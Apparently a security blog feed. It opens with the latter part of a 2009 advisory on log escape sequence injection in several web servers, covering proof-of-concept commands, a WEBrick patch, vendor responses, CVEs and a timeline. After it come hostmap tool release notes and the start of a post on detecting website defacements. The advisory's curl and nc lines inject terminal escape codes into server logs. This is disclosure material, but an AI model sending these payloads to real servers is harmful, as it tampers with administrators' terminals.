echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

H) &amp;quot;AOLserver&amp;quot; log escape sequence injection

The following Proof Of Concept can be used in order to verify the
vulnerability.

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

I) &amp;quot;Yaws&amp;quot; log escape sequence injection

One of the following two Proofs Of Concept can be used in order to
verify the vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

echo -en &amp;quot;GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d&amp;quot; &amp;gt; payload
nc localhost 80 &amp;lt; payload

L) &amp;quot;Boa&amp;quot; log escape sequence injection

The following Proof Of Concept can be used in order to verify the
vulnerability.

curl -kis http://localhost/%1b%5d%32%3b%6f%77%6e%65%64%07%0a

IV. DETECTION

Services like Shodan (shodan.surtri.com) or Google can be used to get an
approximate idea on the usage of the products.

Some examples:
 - http://shodan.surtri.com/?q=nginx
 - http://www.google.com/search?q=&amp;quot;powered+by+Cherokee&amp;quot;
 - curl -kis http://www.antani.gov | grep -E &amp;quot;Server: Orion/2.0.8&amp;quot;

V. WORKAROUND

Cherokee and WEBrick (Ruby) released related security fixes and releases
as detailed below.

Cherokee issued a public patch that resolved the issue but caused some
issues (http://svn.cherokee-project.com/changeset/3944) and has been
later replaced (http://svn.cherokee-project.com/changeset/3977) by a
better fix that both resolve the issue and doesn&amp;#39;t affect the normal
webserver behavior. Use the second patch or a safe release like 0.99.34
or above. If you are using Cherokee 0.99.32 please note that your build
uses the first patch.

Webrick (Ruby) sent us the following patch and issued a release
that fixes the issues. Detailed informations are available at the
following url:

http://www.ruby-lang.org/en/news/2010/01/10/webrick-escape-sequence-injection

The patch we reviewed is the following but please refer to the vendor&amp;#39;s
article for exact informations.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

Index: lib/webrick/httpstatus.rb
===================================================================
--- lib/webrick/httpstatus.rb   (revision 26065)
+++ lib/webrick/httpstatus.rb   (working copy)
@@ -13,5 +13,15 @@ module WEBrick
   module HTTPStatus

-    class Status      &amp;lt; StandardError; end
+    class Status      &amp;lt; StandardError
+      def initialize(message, *rest)
+        super(AccessLog.escape(message), *rest)
+      end
+      class &amp;lt;&amp;lt; self
+        attr_reader :code, :reason_phrase
+      end
+      def code() self::class::code end
+      def reason_phrase() self::class::reason_phrase end
+      alias to_i code
+    end
     class Info        &amp;lt; Status; end
     class Success     &amp;lt; Status; end
@@ -69,4 +79,5 @@ module WEBrick

     StatusMessage.each{|code, message|
+      message.freeze
       var_name = message.gsub(/[ \-]/,&amp;#39;_&amp;#39;).upcase
       err_name = message.gsub(/[ \-]/,&amp;#39;&amp;#39;)
@@ -80,16 +91,10 @@ module WEBrick
       end

-      eval %-
-        RC_#{var_name} = #{code}
-        class #{err_name} &amp;lt; #{parent}
-          def self.code() RC_#{var_name} end
-          def self.reason_phrase() StatusMessage[code] end
-          def code() self::class::code end
-          def reason_phrase() self::class::reason_phrase end
-          alias to_i code
-        end
-      -
-
-      CodeToError[code] = const_get(err_name)
+      const_set(&amp;quot;RC_#{var_name}&amp;quot;, code)
+      err_class = Class.new(parent)
+      err_class.instance_variable_set(:@code, code)
+      err_class.instance_variable_set(:@reason_phrase, message)
+      const_set(err_name, err_class)
+      CodeToError[code] = err_class
     }

Index: lib/webrick/httprequest.rb
===================================================================
--- lib/webrick/httprequest.rb  (revision 26065)
+++ lib/webrick/httprequest.rb  (working copy)
@@ -267,9 +267,5 @@ module WEBrick
         end
       end
-      begin
-        @header = HTTPUtils::parse_header(@raw_header.join)
-      rescue =&amp;gt; ex
-        raise  HTTPStatus::BadRequest, ex.message
-      end
+      @header = HTTPUtils::parse_header(@raw_header.join)
     end

Index: lib/webrick/httputils.rb
===================================================================
--- lib/webrick/httputils.rb    (revision 26065)
+++ lib/webrick/httputils.rb    (working copy)
@@ -130,9 +130,9 @@ module WEBrick
           value = $1
           unless field
-            raise &amp;quot;bad header &amp;#39;#{line.inspect}&amp;#39;.&amp;quot;
+            raise HTTPStatus::BadRequest, &amp;quot;bad header &amp;#39;#{line}&amp;#39;.&amp;quot;
           end
           header[field][-1] &amp;lt;&amp;lt; &amp;quot; &amp;quot; &amp;lt;&amp;lt; value
         else
-          raise &amp;quot;bad header &amp;#39;#{line.inspect}&amp;#39;.&amp;quot;
+          raise HTTPStatus::BadRequest, &amp;quot;bad header &amp;#39;#{line}&amp;#39;.&amp;quot;
         end
       }

Index: lib/webrick/accesslog.rb
===================================================================
--- lib/webrick/accesslog.rb    (revision 26065)
+++ lib/webrick/accesslog.rb    (working copy)
@@ -54,5 +54,5 @@ module WEBrick
            raise AccessLogError,
              &amp;quot;parameter is required for \&amp;quot;#{spec}\&amp;quot;&amp;quot; unless param
-           params[spec][param] || &amp;quot;-&amp;quot;
+           param = params[spec][param] ? escape(param) : &amp;quot;-&amp;quot;
          when ?t
            params[spec].strftime(param || CLF_TIME_FORMAT)
@@ -60,8 +60,16 @@ module WEBrick
            &amp;quot;%&amp;quot;
          else
-           params[spec]
+           escape(params[spec].to_s)
          end
       }
     end
+
+    def escape(data)
+      if data.tainted?
+        data.gsub(/[[:cntrl:]\\]+/) {$&amp;amp;.dump[1...-1]}.untaint
+      else
+        data
+      end
+    end
   end
 end

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

VI. VENDOR RESPONSE

We contacted the vendors of eleven affected webservers, counting the
previous advisory [1] for Jetty. Three fixed the issue (Cherokee,
WEBrick/Ruby and Jetty), one will not fix the issue (Varnish) and one
acknowledged the issue (AOLserver).

Nginx              NO-RESPONSE
Cherokee           FIXED
thttpd             NO-RESPONSE
mini-httpd         NO-RESPONSE
WEBrick            FIXED
Orion              NO-RESPONSE
AOLserver          ACK
Yaws               NO-RESPONSE
Boa                NO-RESPONSE
Varnish            WONT-FIX

The response was overall good and it was nice to work with them, in
particular we want to thank Cherokee&amp;#39;s staff, Ruby&amp;#39;s staff, Raphael
Geissert (Debian) and Steven M. Christey (Mitre) for the support.

Poul-Henning Kamp (Varnish) replied to our contact email with the
following email that we quote as-is.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

The official Varnish response, which I ask that you include in its
entirety in your advisory, if you list Varnish as &amp;quot;vulnerable&amp;quot; in it:

This is not a security problem in Varnish or any other piece of software
which writes a logfile.

The real problem is the mistaken belief that you can cat(1) a random
logfile to your terminal safely.

This is not a new issue. I first remember the issue with xterm(1)&amp;#39;s
inadvisably implemented escape-sequences in a root-context, brought up
heatedly, in 1988, possibly late 1987, at Copenhagens University
Computer Science dept. (Diku.dk). Since then, nothing much have changed.

The wisdom of terminal-response-escapes in general have been questioned
at regular intervals, but still none of the major terminal emulation
programs have seen fit to discard these sequences, probably in a
misguided attempt at compatibility with no longer used 1970&amp;#39;es
technology.

I admit that listing &amp;quot;found a security hole in all HTTP-related programs
that write logfiles&amp;quot; will look more impressive on a resume, but I think
it is misguided and a sign of trophy-hunting having overtaken common
sense.

Instead of blaming any and all programs which writes logfiles, it would
be much more productive, from a security point of view, to get the
terminal emulation programs to stop doing stupid things, and thus fix
this and other security problems once and for all.

--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--8&amp;lt;--

We would like to punctuate the following facts:

1) We totally agree that the root of the problem is an unwise design in
the terminal emulators. If in 70&amp;#39; controls were sent out of band on a
secondary channel we would not have the equivalent of Blue Boxing in the
terminal.

This is a known issue from years. We didn&amp;#39;t invented this attack vector
and never claimed so. We don&amp;#39;t think that design changes will happen in
the short or mid term so it&amp;#39;s better to have a proactive approach and
sanitize outputs where functionalities are likely to not be affected at
all like in this case.

Security in complex systems requires some synergy.

2) Varnish is the only program that doesn&amp;#39;t need a &amp;quot;cat&amp;quot; program as logs
are stored in memory and displayed using the &amp;quot;varnishlog&amp;quot; utility.

2) Apache fixed a similiar bug (CVE-2003-0020), &amp;quot;Low: Error log escape
filtering&amp;quot;, in 2004 (six years ago). The bug was affecting Apache up
to 1.3.29 [8] or 2.0.48 [9] depending on the branch.

Take you conclusion, criticize if you want. In the meantime things are a
little safer.

VII. CVE INFORMATION

CVE-2009-4487 nginx 0.7.64
CVE-2009-4488 Varnish 2.0.6
CVE-2009-4489 Cherokee 0.99.30
CVE-2009-4490 mini_httpd 1.19
CVE-2009-4491 thttpd 2.25b0
CVE-2009-4492 WEBrick 1.3.1
CVE-2009-4493 Orion 2.0.7
CVE-2009-4494 AOLserver 4.5.1
CVE-2009-4495 Yaws 1.85
CVE-2009-4496 Boa 0.94.14rc21

VIII. DISCLOSURE TIMELINE

20091117 Bug discovered
20091208 First vendor contact
20091209 Cherokee team confirms vulnerability (Alvaro Lopez Ortega)
20091209 Alvaro Lopez Ortega commits Cherokee patch
20091210 Ruby team confirms vulnerability (Shugo Maeda)
20091211 Shugo Maeda sends us webrick patch for evaulation
20091211 AOLserver confirms vulnerability (Jim Davidson)
20091221 Contacted Raphael Geissert (Debian Security)
20091223 Contacted Steven M. Christey (mitre.org)
20091230 Raphael Geissert forwards to Redhat, Debian, Ubuntu and Mitre
20091230 CVEs assigned by Steven M. Christey
20100105 Poul-Henning (Varnish) Kamp said WONT-FIX
20100105 Ruby team is ready for commit (Urabe Shyouhei)
20100106 Second vendor contact
20100110 Advisory release

IX. REFERENCES

[1] Jetty 6.x and 7.x Multiple Vulnerabilities
    http://www.ush.it/team/ush/hack-jetty6x7x/jetty-adv.txt
[2] Apache does not filter terminal escape sequences from error logs
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0020
[3] Apache does not filter terminal escape sequences from access logs
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0083
[4] Debian GNU/Linux XTERM (DECRQSS/comments) Weakness Vulnerability
    http://www.milw0rm.com/exploits/7681
[5] Terminal Emulator Security Issues
    http://marc.info/?l=bugtraq&amp;amp;m=104612710031920&amp;amp;w=2
[6] Eterm Screen Dump Escape Sequence Local File Corruption Vulnerability
    http://www.securityfocus.com/bid/6936/discuss
[7] RXVT Screen Dump Escape Sequence Local File Corruption Vulnerability
    http://www.securityfocus.com/bid/6938/discuss
[8] Apache httpd 1.3 vulnerabilities
    http://httpd.apache.org/security/vulnerabilities_13.html
[9] Apache httpd 2.2 vulnerabilities
    http://httpd.apache.org/security/vulnerabilities_22.html

X. CREDIT

Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano, Alessandro &amp;quot;jekil&amp;quot; Tanasi and
Francesco &amp;quot;ascii&amp;quot; Ongaro are credited with the discovery of this
vulnerability.

Giovanni &amp;quot;evilaliv3&amp;quot; Pellerano
web site: http://www.ush.it/, http://www.evilaliv3.org/
mail: evilaliv3 AT ush DOT it

Alessandro &amp;quot;jekil&amp;quot; Tanasi
web site: http://www.tanasi.it/
mail: alessandro AT tanasi DOT it

Francesco &amp;quot;ascii&amp;quot; Ongaro
web site: http://www.ush.it/
mail: ascii AT ush DOT it

X. LEGAL NOTICES

Copyright (c) 2009 Francesco &amp;quot;ascii&amp;quot; Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.
&lt;/pre&gt;&lt;/div&gt;
</content><category term="Research"></category><category term="injection"></category><category term="log escape"></category><category term="log escape sequence injection"></category></entry><entry><title>hostmap 0.2.1 released</title><link href="https://jekil.sexy/blog/2009/hostmap-0-2-1-released.html" rel="alternate"></link><published>2009-12-26T21:46:00+00:00</published><updated>2009-12-26T21:46:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-12-26:/blog/2009/hostmap-0-2-1-released.html</id><summary type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;I am glad to release hostmap version 0.2.1.&lt;/div&gt;
&lt;div class="line"&gt;In this version there are a lot of bug fixes and some new features.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;hostmap is a free, automatic, hostnames and virtual hosts discovery tool
written in Ruby and licensed under &lt;span class="caps"&gt;GNU&lt;/span&gt; General Public License version 3
(GPLv3). It&amp;#8217;s goal is to enumerate all hostnames and configured virtual
hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt; address. The primary users of hostmap are professionals
performing vulnerability assessments and penetration&amp;nbsp;tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="changes"&gt;
&lt;h2&gt;Changes&lt;/h2&gt;
&lt;p&gt;Some of the new features&amp;nbsp;include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Fixed handling of Errno::&lt;span class="caps"&gt;ECONNRESET&lt;/span&gt; in &lt;span class="caps"&gt;SSL&lt;/span&gt; certificate&amp;nbsp;plugin.&lt;/li&gt;
&lt;li&gt;Upgraded net-dns to latest version from …&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="line-block"&gt;
&lt;div class="line"&gt;I am glad to release hostmap version 0.2.1.&lt;/div&gt;
&lt;div class="line"&gt;In this version there are a lot of bug fixes and some new features.&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;hostmap is a free, automatic, hostnames and virtual hosts discovery tool
written in Ruby and licensed under &lt;span class="caps"&gt;GNU&lt;/span&gt; General Public License version 3
(GPLv3). It&amp;#8217;s goal is to enumerate all hostnames and configured virtual
hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt; address. The primary users of hostmap are professionals
performing vulnerability assessments and penetration&amp;nbsp;tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="changes"&gt;
&lt;h2&gt;Changes&lt;/h2&gt;
&lt;p&gt;Some of the new features&amp;nbsp;include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Fixed handling of Errno::&lt;span class="caps"&gt;ECONNRESET&lt;/span&gt; in &lt;span class="caps"&gt;SSL&lt;/span&gt; certificate&amp;nbsp;plugin.&lt;/li&gt;
&lt;li&gt;Upgraded net-dns to latest version from git&amp;nbsp;repository.&lt;/li&gt;
&lt;li&gt;Fixed traceback on Mac &lt;span class="caps"&gt;OSX&lt;/span&gt; due to net-dns&amp;nbsp;bug.&lt;/li&gt;
&lt;li&gt;Added check to enumerate host names with &lt;span class="caps"&gt;DNS&lt;/span&gt; &lt;span class="caps"&gt;TLD&lt;/span&gt;&amp;nbsp;expansion.&lt;/li&gt;
&lt;li&gt;Added &amp;#8212;print-maltego to get output in Maltego &lt;span class="caps"&gt;XML&lt;/span&gt;&amp;nbsp;format.&lt;/li&gt;
&lt;li&gt;Fixed the exception handling architecture, now unknown exceptions
that can be raised on not supported system are&amp;nbsp;handled.&lt;/li&gt;
&lt;li&gt;Fixed traceback on FreeBSD due to raising of different&amp;nbsp;exceptions.&lt;/li&gt;
&lt;li&gt;Added Metasploit auxiliary module in extra&amp;nbsp;folder.&lt;/li&gt;
&lt;li&gt;Added validation of -t option, if it isn&amp;#8217;t an &lt;span class="caps"&gt;IP&lt;/span&gt; address hostmap is&amp;nbsp;stopped.&lt;/li&gt;
&lt;li&gt;Added enumeration plugin timeout, by default at 10 minutes. Can be
changed with user supplied &amp;#8212;timeout&amp;nbsp;option.&lt;/li&gt;
&lt;li&gt;Moved website from &lt;a class="reference external" href="http://hostmap.sourceforge.net"&gt;http://hostmap.sourceforge.net&lt;/a&gt; to
&lt;a class="reference external" href="http://hostmap.lonerunners.net"&gt;http://hostmap.lonerunners.net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Added warning message to fix traceback if missing&amp;nbsp;libopenssl-ruby.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See the complete list of changes at &lt;a class="reference external" href="http://hostmap.lonerunners.net/doc/Changelog.txt"&gt;http://hostmap.lonerunners.net/doc/Changelog.txt&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="download"&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;You can download it in the following&amp;nbsp;formats:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Source zip compressed, &lt;a class="reference external" href="http://hostmap.lonerunners.net/downloads/hostmap-0.2.1.zip"&gt;http://hostmap.lonerunners.net/downloads/hostmap-0.2.1.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="documentation"&gt;
&lt;h2&gt;Documentation&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;hostmap user&amp;#8217;s manual: &lt;a class="reference external" href="http://hostmap.lonerunners.net/doc/README.pdf"&gt;http://hostmap.lonerunners.net/doc/&lt;span class="caps"&gt;README&lt;/span&gt;.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</content><category term="Tools"></category><category term="discovery"></category><category term="dns enumeration"></category><category term="dns name"></category><category term="virtual host"></category></entry><entry><title>hostmap 0.2 released</title><link href="https://jekil.sexy/blog/2009/hostmap-0-2-released.html" rel="alternate"></link><published>2009-12-17T13:11:00+00:00</published><updated>2009-12-17T13:11:00+00:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-12-17:/blog/2009/hostmap-0-2-released.html</id><summary type="html">&lt;p&gt;I am glad to release hostmap version&amp;nbsp;0.2.&lt;/p&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;hostmap is a free, automatic, hostnames and virtual hosts discovery tool
written in Ruby and licensed under &lt;span class="caps"&gt;GNU&lt;/span&gt; General Public License version 3
(GPLv3). It&amp;#8217;s goal is to enumerate all hostnames and configured virtual
hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt; address. The primary users of hostmap are professionals
performing vulnerability assessments and penetration&amp;nbsp;tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="changes"&gt;
&lt;h2&gt;Changes&lt;/h2&gt;
&lt;p&gt;Some of the new features&amp;nbsp;include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Fully refactored and rewritten in&amp;nbsp;Ruby.&lt;/li&gt;
&lt;li&gt;User requested interrupt (&lt;span class="caps"&gt;CTRL&lt;/span&gt;+C) now is&amp;nbsp;handled.&lt;/li&gt;
&lt;li&gt;Added Rakefile to automatize task. For example readme and &lt;span class="caps"&gt;API&lt;/span&gt;
documentation&amp;nbsp;rebuilding.&lt;/li&gt;
&lt;li&gt;Changed info gathering plugin …&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;I am glad to release hostmap version&amp;nbsp;0.2.&lt;/p&gt;
&lt;div class="section" id="introduction"&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;hostmap is a free, automatic, hostnames and virtual hosts discovery tool
written in Ruby and licensed under &lt;span class="caps"&gt;GNU&lt;/span&gt; General Public License version 3
(GPLv3). It&amp;#8217;s goal is to enumerate all hostnames and configured virtual
hosts on an &lt;span class="caps"&gt;IP&lt;/span&gt; address. The primary users of hostmap are professionals
performing vulnerability assessments and penetration&amp;nbsp;tests.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="changes"&gt;
&lt;h2&gt;Changes&lt;/h2&gt;
&lt;p&gt;Some of the new features&amp;nbsp;include:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Fully refactored and rewritten in&amp;nbsp;Ruby.&lt;/li&gt;
&lt;li&gt;User requested interrupt (&lt;span class="caps"&gt;CTRL&lt;/span&gt;+C) now is&amp;nbsp;handled.&lt;/li&gt;
&lt;li&gt;Added Rakefile to automatize task. For example readme and &lt;span class="caps"&gt;API&lt;/span&gt;
documentation&amp;nbsp;rebuilding.&lt;/li&gt;
&lt;li&gt;Changed info gathering plugin architecture. Now using PlugMan&amp;nbsp;library.&lt;/li&gt;
&lt;li&gt;Added some host names to brute forcing&amp;nbsp;dictionaries.&lt;/li&gt;
&lt;li&gt;Added parsing of alternate subject (subjectAltName) from X.509&amp;nbsp;certificates.&lt;/li&gt;
&lt;li&gt;Added info gathering plugin using&amp;nbsp;dnshistory.org.&lt;/li&gt;
&lt;li&gt;Added wildcard domains&amp;nbsp;detection.&lt;/li&gt;
&lt;li&gt;Added wildcard X.509 certificate&amp;nbsp;detection.&lt;/li&gt;
&lt;li&gt;Added -d option to use a user supplied list of &lt;span class="caps"&gt;DNS&lt;/span&gt;&amp;nbsp;servers&lt;/li&gt;
&lt;li&gt;Added blacklist for second level &lt;span class="caps"&gt;TLD&lt;/span&gt; (for example co.uk)&amp;nbsp;detection.&lt;/li&gt;
&lt;li&gt;Added an enumeration plugin to use Microsoft Bing via &lt;span class="caps"&gt;API&lt;/span&gt;. &lt;span class="caps"&gt;API&lt;/span&gt; key
must be provided in configuration&amp;nbsp;file.&lt;/li&gt;
&lt;li&gt;Added a configuration file (hostmap.conf) to keep user&amp;nbsp;settings.&lt;/li&gt;
&lt;li&gt;Added option &amp;#8212;http-ports to specify the ports to check for an
&lt;span class="caps"&gt;HTTP&lt;/span&gt;/&lt;span class="caps"&gt;HTTPS&lt;/span&gt;&amp;nbsp;service.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;See the complete list of changes at
&lt;a class="reference external" href="http://hostmap.sourceforge.net/doc/Changelog.txt"&gt;http://hostmap.sourceforge.net/doc/Changelog.txt&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="download"&gt;
&lt;h2&gt;Download&lt;/h2&gt;
&lt;p&gt;You can download it in the following&amp;nbsp;formats:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Source gzip compressed, &lt;a class="reference external" href="https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.zip/download"&gt;https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.tar.gz/download&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Source zip compressed, &lt;a class="reference external" href="https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.zip/download"&gt;https://sourceforge.net/projects/hostmap/files/hostmap/hostmap-0.2/hostmap-0.2.zip/download&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="documentation"&gt;
&lt;h2&gt;Documentation&lt;/h2&gt;
&lt;p&gt;hostmap user&amp;#8217;s manual: &lt;a class="reference external" href="http://hostmap.sourceforge.net/doc/README.pdf"&gt;http://hostmap.sourceforge.net/doc/&lt;span class="caps"&gt;README&lt;/span&gt;.pdf&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content><category term="Tools"></category><category term="hostmap"></category><category term="virtual host"></category></entry><entry><title>Website defacement detection techniques</title><link href="https://jekil.sexy/blog/2009/website-defacement-detection-techniques.html" rel="alternate"></link><published>2009-10-14T00:22:00+01:00</published><updated>2009-10-14T00:22:00+01:00</updated><author><name>jekil</name></author><id>tag:jekil.sexy,2009-10-14:/blog/2009/website-defacement-detection-techniques.html</id><summary type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;Contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Website defacement&lt;/div&gt;
&lt;div class="line"&gt;2. Anomaly detection systems&lt;/div&gt;
&lt;div class="line"&gt;2.1 Checksum comparison&lt;/div&gt;
&lt;div class="line"&gt;2.2 Diff comparison&lt;/div&gt;
&lt;div class="line"&gt;2.3 &lt;span class="caps"&gt;DOM&lt;/span&gt; tree analysis&lt;/div&gt;
&lt;div class="line"&gt;2.4 Complex algorithms&lt;/div&gt;
&lt;div class="line"&gt;3. Signature detection&lt;/div&gt;
&lt;div class="line"&gt;4. Thresholds and worst cases&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="website-defacement"&gt;
&lt;h2&gt;1. Website&amp;nbsp;defacement&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;A website defacement is the unauthorized substitution of a web page or
a part of it by a system cracker. A defacement is generally meant as a
kind of electronic graffiti, although recently it has become a means
to spread messages by politically motivated cyber protesters or
hacktivists.&lt;/div&gt;
&lt;div class="line"&gt;This is a very common form of attack that seriously damages the trust
and …&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="table-of-contents"&gt;
&lt;h2&gt;Table of&amp;nbsp;Contents&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;1. Website defacement&lt;/div&gt;
&lt;div class="line"&gt;2. Anomaly detection systems&lt;/div&gt;
&lt;div class="line"&gt;2.1 Checksum comparison&lt;/div&gt;
&lt;div class="line"&gt;2.2 Diff comparison&lt;/div&gt;
&lt;div class="line"&gt;2.3 &lt;span class="caps"&gt;DOM&lt;/span&gt; tree analysis&lt;/div&gt;
&lt;div class="line"&gt;2.4 Complex algorithms&lt;/div&gt;
&lt;div class="line"&gt;3. Signature detection&lt;/div&gt;
&lt;div class="line"&gt;4. Thresholds and worst cases&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="website-defacement"&gt;
&lt;h2&gt;1. Website&amp;nbsp;defacement&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;A website defacement is the unauthorized substitution of a web page or
a part of it by a system cracker. A defacement is generally meant as a
kind of electronic graffiti, although recently it has become a means
to spread messages by politically motivated cyber protesters or
hacktivists.&lt;/div&gt;
&lt;div class="line"&gt;This is a very common form of attack that seriously damages the trust
and the reputation of a website.&lt;/div&gt;
&lt;div class="line"&gt;Detecting web page defacements is one of the main services for the
security monitoring system.&lt;/div&gt;
&lt;div class="line"&gt;A lot of time ago I wrote a small &lt;span class="amp"&gt;&amp;amp;&lt;/span&gt; smart application to detect web
site defacements in large scale with the ability to monitor a lot
(thousands) of websites. This was a test to collect some statistics,
so I tried to do it in a short time: I wrote it in a few days.&lt;/div&gt;
&lt;div class="line"&gt;So I was asking me about what techniques and technologies I can use to
get the highest detection rate with the minimum effort.&lt;/div&gt;
&lt;div class="line"&gt;I choose Ruby, Ruby on Rails for the user interface and Event Machine
to speed up the performances.&lt;/div&gt;
&lt;div class="line"&gt;With only few days of development I can&amp;#8217;t struggle with complex
algorithms to detect defacements, but I choose some very simple
techniques, that after some months of tests, seemed to be very
effective. The performance and detection rate of this &amp;#8220;poor man&amp;#8221;
techniques are comparable to some others commercial monitoring
systems.&lt;/div&gt;
&lt;div class="line"&gt;The key feature of the proposed techniques is that it does not require
the installation of a component (like an &lt;span class="caps"&gt;HIDS&lt;/span&gt;) or a participation of
the site maintainers. It require only the &lt;span class="caps"&gt;URL&lt;/span&gt; of the web site to
monitor.&lt;/div&gt;
&lt;div class="line"&gt;Today I want to share this brainstorming about web site detection
techniques.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="anomaly-detection-systems"&gt;
&lt;h2&gt;2. Anomaly detection&amp;nbsp;systems&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;Anomaly detection refers to detecting patterns in a given data set
that do not conform to an established normal behavior. The patterns
thus detected are called anomalies and often translate to critical and
actionable information in several application domains.&lt;/div&gt;
&lt;div class="line"&gt;The defacement monitoring application needs to detect a change in a
web page and detect if it&amp;#8217;s &amp;#8220;normal&amp;#8221; or it&amp;#8217;s an &amp;#8220;anomaly&amp;#8221;.&lt;/div&gt;
&lt;div class="line"&gt;To create a set of &amp;#8220;normal&amp;#8221; a preliminary learning phase builds a
profile of the monitored web page, then the web site can be monitored
for &amp;#8220;anomaly&amp;#8221; changes.&lt;/div&gt;
&lt;div class="line"&gt;The detection of a defacement is based on a dynamic threshold, if the
web page changed over this threshold the system treat it as defaced
and throw a defacement alert.&lt;/div&gt;
&lt;div class="line"&gt;This threshold is updated to avoid the obsolescence of his value and
the learning set.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="checksum-comparison"&gt;
&lt;h2&gt;2.1 Checksum&amp;nbsp;comparison&lt;/h2&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;The simplest way to detect a change in some text-formatted data, like
